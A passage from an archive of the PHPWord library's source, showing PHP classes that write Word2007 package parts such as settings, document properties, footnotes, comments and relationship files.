        // XML files relationships
        foreach ($xmlRels as $target => $type) {
            $this->writeRel($xmlWriter, $relId++, $type, $target);
        }

        // Media relationships
        foreach ($mediaRels as $mediaRel) {
            $this->writeMediaRel($xmlWriter, $relId++, $mediaRel);
        }

        $xmlWriter->endElement(); // Relationships
    }

    /**
     * Write media relationships.
     *
     * @param int $relId
     * @param array $mediaRel
     */
    private function writeMediaRel(XMLWriter $xmlWriter, $relId, $mediaRel): void
    {
        $typePrefix = 'officeDocument/2006/relationships/';
        $typeMapping = ['image' => 'image', 'object' => 'oleObject', 'link' => 'hyperlink'];
        $targetMapping = ['image' => 'media/', 'object' => 'embeddings/'];

        $mediaType = $mediaRel['type'];
        $type = $typeMapping[$mediaType] ?? $mediaType;
        $targetPrefix = $targetMapping[$mediaType] ?? '';
        $target = $mediaRel['target'];
        $targetMode = ($type == 'hyperlink') ? 'External' : '';

        $this->writeRel($xmlWriter, $relId, $typePrefix . $type, $targetPrefix . $target, $targetMode);
    }

    /**
     * Write individual rels entry.
     *
     * Format:
     * <Relationship Id="rId..." Type="http://..." Target="....xml" TargetMode="..." />
     *
     * @param int $relId Relationship ID
     * @param string $type Relationship type
     * @param string $target Relationship target
     * @param string $targetMode Relationship target mode
     */
    private function writeRel(XMLWriter $xmlWriter, $relId, $type, $target, $targetMode = ''): void
    {
        if ($type != '' && $target != '') {
            if (strpos($relId, 'rId') === false) {
                $relId = 'rId' . $relId;
            }
            $xmlWriter->startElement('Relationship');
            $xmlWriter->writeAttribute('Id', $relId);
            $xmlWriter->writeAttribute('Type', 'http://schemas.openxmlformats.org/' . $type);
            $xmlWriter->writeAttribute('Target', $target);
            if ($targetMode != '') {
                $xmlWriter->writeAttribute('TargetMode', $targetMode);
            }
            $xmlWriter->endElement();
        } else {
            throw new Exception('Invalid parameters passed.');
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Settings.php000066600000031217151150442730021572 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\ComplexType\ProofState;
use PhpOffice\PhpWord\ComplexType\TrackChangesView;
use PhpOffice\PhpWord\Shared\Microsoft\PasswordEncoder;
use PhpOffice\PhpWord\Style\Language;

/**
 * Word2007 settings part writer: word/settings.xml.
 *
 * @see  http://www.schemacentral.com/sc/ooxml/t-w_CT_Settings.html
 */
class Settings extends AbstractPart
{
    /**
     * Settings value.
     *
     * @var array
     */
    private $settings = [];

    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $this->getSettings();

        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('w:settings');
        $xmlWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');
        $xmlWriter->writeAttribute('xmlns:w', 'http://schemas.openxmlformats.org/wordprocessingml/2006/main');
        $xmlWriter->writeAttribute('xmlns:m', 'http://schemas.openxmlformats.org/officeDocument/2006/math');
        $xmlWriter->writeAttribute('xmlns:sl', 'http://schemas.openxmlformats.org/schemaLibrary/2006/main');
        $xmlWriter->writeAttribute('xmlns:o', 'urn:schemas-microsoft-com:office:office');
        $xmlWriter->writeAttribute('xmlns:v', 'urn:schemas-microsoft-com:vml');
        $xmlWriter->writeAttribute('xmlns:w10', 'urn:schemas-microsoft-com:office:word');

        foreach ($this->settings as $settingKey => $settingValue) {
            $this->writeSetting($xmlWriter, $settingKey, $settingValue);
        }

        $xmlWriter->endElement(); // w:settings

        return $xmlWriter->getData();
    }

    /**
     * Write indivual setting, recursive to any child settings.
     *
     * @param \PhpOffice\PhpWord\Shared\XMLWriter $xmlWriter
     * @param string $settingKey
     * @param array|string $settingValue
     */
    protected function writeSetting($xmlWriter, $settingKey, $settingValue): void
    {
        if ($settingValue == '') {
            $xmlWriter->writeElement($settingKey);
        } elseif (is_array($settingValue) && !empty($settingValue)) {
            $xmlWriter->startElement($settingKey);

            /** @var array $settingValue Type hint */
            foreach ($settingValue as $childKey => $childValue) {
                if ($childKey == '@attributes') {
                    foreach ($childValue as $key => $val) {
                        $xmlWriter->writeAttribute($key, $val);
                    }
                } else {
                    $this->writeSetting($xmlWriter, $childKey, $childValue);
                }
            }
            $xmlWriter->endElement();
        }
    }

    /**
     * Get settings.
     */
    private function getSettings(): void
    {
        /** @var \PhpOffice\PhpWord\Metadata\Settings $documentSettings */
        $documentSettings = $this->getParentWriter()->getPhpWord()->getSettings();

        // Default settings
        $this->settings = [
            'w:defaultTabStop' => ['@attributes' => ['w:val' => '708']],
            'w:hyphenationZone' => ['@attributes' => ['w:val' => '425']],
            'w:characterSpacingControl' => ['@attributes' => ['w:val' => 'doNotCompress']],
            'w:decimalSymbol' => ['@attributes' => ['w:val' => $documentSettings->getDecimalSymbol()]],
            'w:listSeparator' => ['@attributes' => ['w:val' => ';']],
            'w:compat' => [],
            'm:mathPr' => [
                'm:mathFont' => ['@attributes' => ['m:val' => 'Cambria Math']],
                'm:brkBin' => ['@attributes' => ['m:val' => 'before']],
                'm:brkBinSub' => ['@attributes' => ['m:val' => '--']],
                'm:smallFrac' => ['@attributes' => ['m:val' => 'off']],
                'm:dispDef' => '',
                'm:lMargin' => ['@attributes' => ['m:val' => '0']],
                'm:rMargin' => ['@attributes' => ['m:val' => '0']],
                'm:defJc' => ['@attributes' => ['m:val' => 'centerGroup']],
                'm:wrapIndent' => ['@attributes' => ['m:val' => '1440']],
                'm:intLim' => ['@attributes' => ['m:val' => 'subSup']],
                'm:naryLim' => ['@attributes' => ['m:val' => 'undOvr']],
            ],
            'w:clrSchemeMapping' => [
                '@attributes' => [
                    'w:bg1' => 'light1',
                    'w:t1' => 'dark1',
                    'w:bg2' => 'light2',
                    'w:t2' => 'dark2',
                    'w:accent1' => 'accent1',
                    'w:accent2' => 'accent2',
                    'w:accent3' => 'accent3',
                    'w:accent4' => 'accent4',
                    'w:accent5' => 'accent5',
                    'w:accent6' => 'accent6',
                    'w:hyperlink' => 'hyperlink',
                    'w:followedHyperlink' => 'followedHyperlink',
                ],
            ],
        ];

        $this->setOnOffValue('w:mirrorMargins', $documentSettings->hasMirrorMargins());
        $this->setOnOffValue('w:hideSpellingErrors', $documentSettings->hasHideSpellingErrors());
        $this->setOnOffValue('w:hideGrammaticalErrors', $documentSettings->hasHideGrammaticalErrors());
        $this->setOnOffValue('w:trackRevisions', $documentSettings->hasTrackRevisions());
        $this->setOnOffValue('w:doNotTrackMoves', $documentSettings->hasDoNotTrackMoves());
        $this->setOnOffValue('w:doNotTrackFormatting', $documentSettings->hasDoNotTrackFormatting());
        $this->setOnOffValue('w:evenAndOddHeaders', $documentSettings->hasEvenAndOddHeaders());
        $this->setOnOffValue('w:updateFields', $documentSettings->hasUpdateFields());
        $this->setOnOffValue('w:autoHyphenation', $documentSettings->hasAutoHyphenation());
        $this->setOnOffValue('w:doNotHyphenateCaps', $documentSettings->hasDoNotHyphenateCaps());
        $this->setOnOffValue('w:bookFoldPrinting', $documentSettings->hasBookFoldPrinting());

        $this->setThemeFontLang($documentSettings->getThemeFontLang());
        $this->setRevisionView($documentSettings->getRevisionView());
        $this->setDocumentProtection($documentSettings->getDocumentProtection());
        $this->setProofState($documentSettings->getProofState());
        $this->setZoom($documentSettings->getZoom());
        $this->setConsecutiveHyphenLimit($documentSettings->getConsecutiveHyphenLimit());
        $this->setHyphenationZone($documentSettings->getHyphenationZone());
        $this->setCompatibility();
    }

    /**
     * Adds a boolean attribute to the settings array.
     *
     * @param string $settingName
     * @param null|bool $booleanValue
     */
    private function setOnOffValue($settingName, $booleanValue): void
    {
        if (!is_bool($booleanValue)) {
            return;
        }

        $value = $booleanValue ? 'true' : 'false';
        $this->settings[$settingName] = ['@attributes' => ['w:val' => $value]];
    }

    /**
     * Get protection settings.
     *
     * @param \PhpOffice\PhpWord\Metadata\Protection $documentProtection
     */
    private function setDocumentProtection($documentProtection): void
    {
        if ($documentProtection->getEditing() !== null) {
            if ($documentProtection->getPassword() == null) {
                $this->settings['w:documentProtection'] = [
                    '@attributes' => [
                        'w:enforcement' => 1,
                        'w:edit' => $documentProtection->getEditing(),
                    ],
                ];
            } else {
                if ($documentProtection->getSalt() == null) {
                    $documentProtection->setSalt(openssl_random_pseudo_bytes(16));
                }
                $passwordHash = PasswordEncoder::hashPassword($documentProtection->getPassword(), $documentProtection->getAlgorithm(), $documentProtection->getSalt(), $documentProtection->getSpinCount());
                $this->settings['w:documentProtection'] = [
                    '@attributes' => [
                        'w:enforcement' => 1,
                        'w:edit' => $documentProtection->getEditing(),
                        'w:cryptProviderType' => 'rsaFull',
                        'w:cryptAlgorithmClass' => 'hash',
                        'w:cryptAlgorithmType' => 'typeAny',
                        'w:cryptAlgorithmSid' => PasswordEncoder::getAlgorithmId($documentProtection->getAlgorithm()),
                        'w:cryptSpinCount' => $documentProtection->getSpinCount(),
                        'w:hash' => $passwordHash,
                        'w:salt' => base64_encode($documentProtection->getSalt()),
                    ],
                ];
            }
        }
    }

    /**
     * Set the Proof state.
     */
    private function setProofState(?ProofState $proofState = null): void
    {
        if ($proofState != null && $proofState->getGrammar() !== null && $proofState->getSpelling() !== null) {
            $this->settings['w:proofState'] = [
                '@attributes' => [
                    'w:spelling' => $proofState->getSpelling(),
                    'w:grammar' => $proofState->getGrammar(),
                ],
            ];
        }
    }

    /**
     * Set the Revision View.
     */
    private function setRevisionView(?TrackChangesView $trackChangesView = null): void
    {
        if ($trackChangesView != null) {
            $revisionView = [];
            $revisionView['w:markup'] = $trackChangesView->hasMarkup() ? 'true' : 'false';
            $revisionView['w:comments'] = $trackChangesView->hasComments() ? 'true' : 'false';
            $revisionView['w:insDel'] = $trackChangesView->hasInsDel() ? 'true' : 'false';
            $revisionView['w:formatting'] = $trackChangesView->hasFormatting() ? 'true' : 'false';
            $revisionView['w:inkAnnotations'] = $trackChangesView->hasInkAnnotations() ? 'true' : 'false';

            $this->settings['w:revisionView'] = ['@attributes' => $revisionView];
        }
    }

    /**
     * Sets the language.
     */
    private function setThemeFontLang(?Language $language = null): void
    {
        $latinLanguage = ($language == null || $language->getLatin() === null) ? 'en-US' : $language->getLatin();
        $lang = [];
        $lang['w:val'] = $latinLanguage;
        if ($language != null) {
            $lang['w:eastAsia'] = $language->getEastAsia() === null ? 'x-none' : $language->getEastAsia();
            $lang['w:bidi'] = $language->getBidirectional() === null ? 'x-none' : $language->getBidirectional();
        }
        $this->settings['w:themeFontLang'] = ['@attributes' => $lang];
    }

    /**
     * Set the magnification.
     *
     * @param mixed $zoom
     */
    private function setZoom($zoom = null): void
    {
        if ($zoom !== null) {
            $attr = is_int($zoom) ? 'w:percent' : 'w:val';
            $this->settings['w:zoom'] = ['@attributes' => [$attr => $zoom]];
        }
    }

    /**
     * @param null|int $consecutiveHyphenLimit
     */
    private function setConsecutiveHyphenLimit($consecutiveHyphenLimit): void
    {
        if ($consecutiveHyphenLimit === null) {
            return;
        }

        $this->settings['w:consecutiveHyphenLimit'] = [
            '@attributes' => ['w:val' => $consecutiveHyphenLimit],
        ];
    }

    /**
     * @param null|float $hyphenationZone
     */
    private function setHyphenationZone($hyphenationZone): void
    {
        if ($hyphenationZone === null) {
            return;
        }

        $this->settings['w:hyphenationZone'] = [
            '@attributes' => ['w:val' => $hyphenationZone],
        ];
    }

    /**
     * Get compatibility setting.
     */
    private function setCompatibility(): void
    {
        $compatibility = $this->getParentWriter()->getPhpWord()->getCompatibility();
        if ($compatibility->getOoxmlVersion() !== null) {
            $this->settings['w:compat']['w:compatSetting'] = [
                '@attributes' => [
                    'w:name' => 'compatibilityMode',
                    'w:uri' => 'http://schemas.microsoft.com/office/word',
                    'w:val' => $compatibility->getOoxmlVersion(),
                ],
            ];
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/DocPropsApp.php000066600000003275151150442730022167 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

/**
 * Word2007 extended document properties part writer: docProps/app.xml.
 *
 * @since 0.11.0
 */
class DocPropsApp extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $phpWord = $this->getParentWriter()->getPhpWord();
        $xmlWriter = $this->getXmlWriter();
        $schema = 'http://schemas.openxmlformats.org/officeDocument/2006/extended-properties';

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('Properties');
        $xmlWriter->writeAttribute('xmlns', $schema);
        $xmlWriter->writeAttribute('xmlns:vt', 'http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes');

        $xmlWriter->writeElement('Application', 'PHPWord');
        $xmlWriter->writeElement('Company', $phpWord->getDocInfo()->getCompany());
        $xmlWriter->writeElement('Manager', $phpWord->getDocInfo()->getManager());

        $xmlWriter->endElement(); // Properties

        return $xmlWriter->getData();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/WebSettings.php000066600000003064151150442730022227 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

/**
 * Word2007 web settings part writer: word/webSettings.xml.
 */
class WebSettings extends Settings
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $settings = [
            'w:optimizeForBrowser' => '',
        ];

        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('w:webSettings');
        $xmlWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');
        $xmlWriter->writeAttribute('xmlns:w', 'http://schemas.openxmlformats.org/wordprocessingml/2006/main');

        foreach ($settings as $settingKey => $settingValue) {
            $this->writeSetting($xmlWriter, $settingKey, $settingValue);
        }

        $xmlWriter->endElement(); // w:settings

        return $xmlWriter->getData();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Footnotes.php000066600000013706151150442730021755 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\Element\Footnote;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Writer\Word2007\Element\Container;
use PhpOffice\PhpWord\Writer\Word2007\Style\Paragraph as ParagraphStyleWriter;

/**
 * Word2007 footnotes part writer: word/(footnotes|endnotes).xml.
 */
class Footnotes extends AbstractPart
{
    /**
     * Name of XML root element.
     *
     * @var string
     */
    protected $rootNode = 'w:footnotes';

    /**
     * Name of XML node element.
     *
     * @var string
     */
    protected $elementNode = 'w:footnote';

    /**
     * Name of XML reference element.
     *
     * @var string
     */
    protected $refNode = 'w:footnoteRef';

    /**
     * Reference style name.
     *
     * @var string
     */
    protected $refStyle = 'FootnoteReference';

    /**
     * Footnotes/endnotes collection to be written.
     *
     * @var \PhpOffice\PhpWord\Collection\Endnotes|\PhpOffice\PhpWord\Collection\Footnotes
     */
    protected $elements;

    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlWriter = $this->getXmlWriter();
        $drawingSchema = 'http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing';

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement($this->rootNode);
        $xmlWriter->writeAttribute('xmlns:ve', 'http://schemas.openxmlformats.org/markup-compatibility/2006');
        $xmlWriter->writeAttribute('xmlns:o', 'urn:schemas-microsoft-com:office:office');
        $xmlWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');
        $xmlWriter->writeAttribute('xmlns:m', 'http://schemas.openxmlformats.org/officeDocument/2006/math');
        $xmlWriter->writeAttribute('xmlns:v', 'urn:schemas-microsoft-com:vml');
        $xmlWriter->writeAttribute('xmlns:wp', $drawingSchema);
        $xmlWriter->writeAttribute('xmlns:w10', 'urn:schemas-microsoft-com:office:word');
        $xmlWriter->writeAttribute('xmlns:w', 'http://schemas.openxmlformats.org/wordprocessingml/2006/main');
        $xmlWriter->writeAttribute('xmlns:wne', 'http://schemas.microsoft.com/office/word/2006/wordml');

        // Separator and continuation separator
        $xmlWriter->startElement($this->elementNode);
        $xmlWriter->writeAttribute('w:id', -1);
        $xmlWriter->writeAttribute('w:type', 'separator');
        $xmlWriter->startElement('w:p');
        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:separator');
        $xmlWriter->endElement(); // w:separator
        $xmlWriter->endElement(); // w:r
        $xmlWriter->endElement(); // w:p
        $xmlWriter->endElement(); // $this->elementNode
        $xmlWriter->startElement($this->elementNode);
        $xmlWriter->writeAttribute('w:id', 0);
        $xmlWriter->writeAttribute('w:type', 'continuationSeparator');
        $xmlWriter->startElement('w:p');
        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:continuationSeparator');
        $xmlWriter->endElement(); // w:continuationSeparator
        $xmlWriter->endElement(); // w:r
        $xmlWriter->endElement(); // w:p
        $xmlWriter->endElement(); // $this->elementNode

        /** @var array $elements Type hint */
        $elements = $this->elements;
        foreach ($elements as $element) {
            if ($element instanceof Footnote) {
                $this->writeNote($xmlWriter, $element);
            }
        }

        $xmlWriter->endElement(); // $this->rootNode

        return $xmlWriter->getData();
    }

    /**
     * Set element.
     *
     * @param \PhpOffice\PhpWord\Collection\Endnotes|\PhpOffice\PhpWord\Collection\Footnotes $elements
     *
     * @return self
     */
    public function setElements($elements)
    {
        $this->elements = $elements;

        return $this;
    }

    /**
     * Write note item.
     *
     * @param \PhpOffice\PhpWord\Element\Endnote|\PhpOffice\PhpWord\Element\Footnote $element
     */
    protected function writeNote(XMLWriter $xmlWriter, $element): void
    {
        $xmlWriter->startElement($this->elementNode);
        $xmlWriter->writeAttribute('w:id', $element->getRelationId() + 1);
        $xmlWriter->startElement('w:p');

        // Paragraph style
        $styleWriter = new ParagraphStyleWriter($xmlWriter, $element->getParagraphStyle());
        $styleWriter->setIsInline(true);
        $styleWriter->write();

        // Reference symbol
        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:rPr');
        $xmlWriter->startElement('w:rStyle');
        $xmlWriter->writeAttribute('w:val', $this->refStyle);
        $xmlWriter->endElement(); // w:rStyle
        $xmlWriter->endElement(); // w:rPr
        $xmlWriter->writeElement($this->refNode);
        $xmlWriter->endElement(); // w:r

        // Empty space after refence symbol
        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:t');
        $xmlWriter->writeAttribute('xml:space', 'preserve');
        $xmlWriter->text(' ');
        $xmlWriter->endElement(); // w:t
        $xmlWriter->endElement(); // w:r

        $containerWriter = new Container($xmlWriter, $element);
        $containerWriter->write();

        $xmlWriter->endElement(); // w:p
        $xmlWriter->endElement(); // $this->elementNode
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/AbstractPart.php000066600000005457151150442730022373 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\Exception\Exception;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Writer\AbstractWriter;

/**
 * Word2007 writer part abstract class.
 */
abstract class AbstractPart
{
    /**
     * Parent writer.
     *
     * @var \PhpOffice\PhpWord\Writer\AbstractWriter
     */
    protected $parentWriter;

    /**
     * @var string Date format
     */
    protected $dateFormat = 'Y-m-d\TH:i:sP';

    /**
     * Write part.
     *
     * @return string
     */
    abstract public function write();

    /**
     * Set parent writer.
     */
    public function setParentWriter(?AbstractWriter $writer = null): void
    {
        $this->parentWriter = $writer;
    }

    /**
     * Get parent writer.
     *
     * @return \PhpOffice\PhpWord\Writer\AbstractWriter
     */
    public function getParentWriter()
    {
        if (null !== $this->parentWriter) {
            return $this->parentWriter;
        }

        throw new Exception('No parent WriterInterface assigned.');
    }

    /**
     * Get XML Writer.
     *
     * @return \PhpOffice\PhpWord\Shared\XMLWriter
     */
    protected function getXmlWriter()
    {
        $useDiskCaching = false;
        if (null !== $this->parentWriter) {
            if ($this->parentWriter->isUseDiskCaching()) {
                $useDiskCaching = true;
            }
        }
        if ($useDiskCaching) {
            return new XMLWriter(XMLWriter::STORAGE_DISK, $this->parentWriter->getDiskCachingDirectory(), Settings::hasCompatibility());
        }

        return new XMLWriter(XMLWriter::STORAGE_MEMORY, './', Settings::hasCompatibility());
    }

    /**
     * Write an XML text, this will call text() or writeRaw() depending on the value of Settings::isOutputEscapingEnabled().
     *
     * @param string $content The text string to write
     *
     * @return bool Returns true on success or false on failure
     */
    protected function writeText($content)
    {
        if (Settings::isOutputEscapingEnabled()) {
            return $this->getXmlWriter()->text($content);
        }

        return $this->getXmlWriter()->writeRaw($content);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/DocPropsCore.php000066600000005531151150442730022334 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

/**
 * Word2007 core document properties part writer: docProps/core.xml.
 *
 * @since 0.11.0
 */
class DocPropsCore extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $phpWord = $this->getParentWriter()->getPhpWord();
        $xmlWriter = $this->getXmlWriter();
        $schema = 'http://schemas.openxmlformats.org/package/2006/metadata/core-properties';

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('cp:coreProperties');
        $xmlWriter->writeAttribute('xmlns:cp', $schema);
        $xmlWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/');
        $xmlWriter->writeAttribute('xmlns:dcterms', 'http://purl.org/dc/terms/');
        $xmlWriter->writeAttribute('xmlns:dcmitype', 'http://purl.org/dc/dcmitype/');
        $xmlWriter->writeAttribute('xmlns:xsi', 'http://www.w3.org/2001/XMLSchema-instance');

        $xmlWriter->writeElement('dc:creator', $phpWord->getDocInfo()->getCreator());
        $xmlWriter->writeElement('dc:title', $phpWord->getDocInfo()->getTitle());
        $xmlWriter->writeElement('dc:description', $phpWord->getDocInfo()->getDescription());
        $xmlWriter->writeElement('dc:subject', $phpWord->getDocInfo()->getSubject());
        $xmlWriter->writeElement('cp:keywords', $phpWord->getDocInfo()->getKeywords());
        $xmlWriter->writeElement('cp:category', $phpWord->getDocInfo()->getCategory());
        $xmlWriter->writeElement('cp:lastModifiedBy', $phpWord->getDocInfo()->getLastModifiedBy());

        // dcterms:created
        $xmlWriter->startElement('dcterms:created');
        $xmlWriter->writeAttribute('xsi:type', 'dcterms:W3CDTF');
        $xmlWriter->text(date($this->dateFormat, $phpWord->getDocInfo()->getCreated()));
        $xmlWriter->endElement();

        // dcterms:modified
        $xmlWriter->startElement('dcterms:modified');
        $xmlWriter->writeAttribute('xsi:type', 'dcterms:W3CDTF');
        $xmlWriter->text(date($this->dateFormat, $phpWord->getDocInfo()->getModified()));
        $xmlWriter->endElement();

        $xmlWriter->endElement(); // cp:coreProperties

        return $xmlWriter->getData();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/RelsPart.php000066600000002540151150442730021523 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

/**
 * Word2007 part relationship writer: word/_rels/(header|footer|footnotes|endnotes)*.xml.rels.
 *
 * @since 0.11.0
 */
class RelsPart extends Rels
{
    /**
     * Media relationships.
     *
     * @var array
     */
    private $media = [];

    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlWriter = $this->getXmlWriter();
        $this->writeRels($xmlWriter, [], $this->media);

        return $xmlWriter->getData();
    }

    /**
     * Set media.
     *
     * @param array $media
     *
     * @return self
     */
    public function setMedia($media)
    {
        $this->media = $media;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Comments.php000066600000006764151150442730021570 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\Element\Comment;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Writer\Word2007\Element\Container;

/**
 * Word2007 comments part writer: word/comments.xml.
 */
class Comments extends AbstractPart
{
    /**
     * Comments collection to be written.
     *
     * @var \PhpOffice\PhpWord\Element\Comment[]
     */
    protected $elements;

    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('w:comments');
        $xmlWriter->writeAttribute('xmlns:ve', 'http://schemas.openxmlformats.org/markup-compatibility/2006');
        $xmlWriter->writeAttribute('xmlns:o', 'urn:schemas-microsoft-com:office:office');
        $xmlWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');
        $xmlWriter->writeAttribute('xmlns:m', 'http://schemas.openxmlformats.org/officeDocument/2006/math');
        $xmlWriter->writeAttribute('xmlns:v', 'urn:schemas-microsoft-com:vml');
        $xmlWriter->writeAttribute('xmlns:wp', 'http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing');
        $xmlWriter->writeAttribute('xmlns:w10', 'urn:schemas-microsoft-com:office:word');
        $xmlWriter->writeAttribute('xmlns:w', 'http://schemas.openxmlformats.org/wordprocessingml/2006/main');
        $xmlWriter->writeAttribute('xmlns:wne', 'http://schemas.microsoft.com/office/word/2006/wordml');

        if ($this->elements !== null) {
            foreach ($this->elements as $element) {
                if ($element instanceof Comment) {
                    $this->writeComment($xmlWriter, $element);
                }
            }
        }

        $xmlWriter->endElement(); // w:comments

        return $xmlWriter->getData();
    }

    /**
     * Write comment item.
     */
    protected function writeComment(XMLWriter $xmlWriter, Comment $comment): void
    {
        $xmlWriter->startElement('w:comment');
        $xmlWriter->writeAttribute('w:id', $comment->getElementId());
        $xmlWriter->writeAttribute('w:author', $comment->getAuthor());
        if ($comment->getDate() != null) {
            $xmlWriter->writeAttribute('w:date', $comment->getDate()->format($this->dateFormat));
        }
        $xmlWriter->writeAttributeIf($comment->getInitials() != null, 'w:initials', $comment->getInitials());

        $containerWriter = new Container($xmlWriter, $comment);
        $containerWriter->write();

        $xmlWriter->endElement(); // w:comment
    }

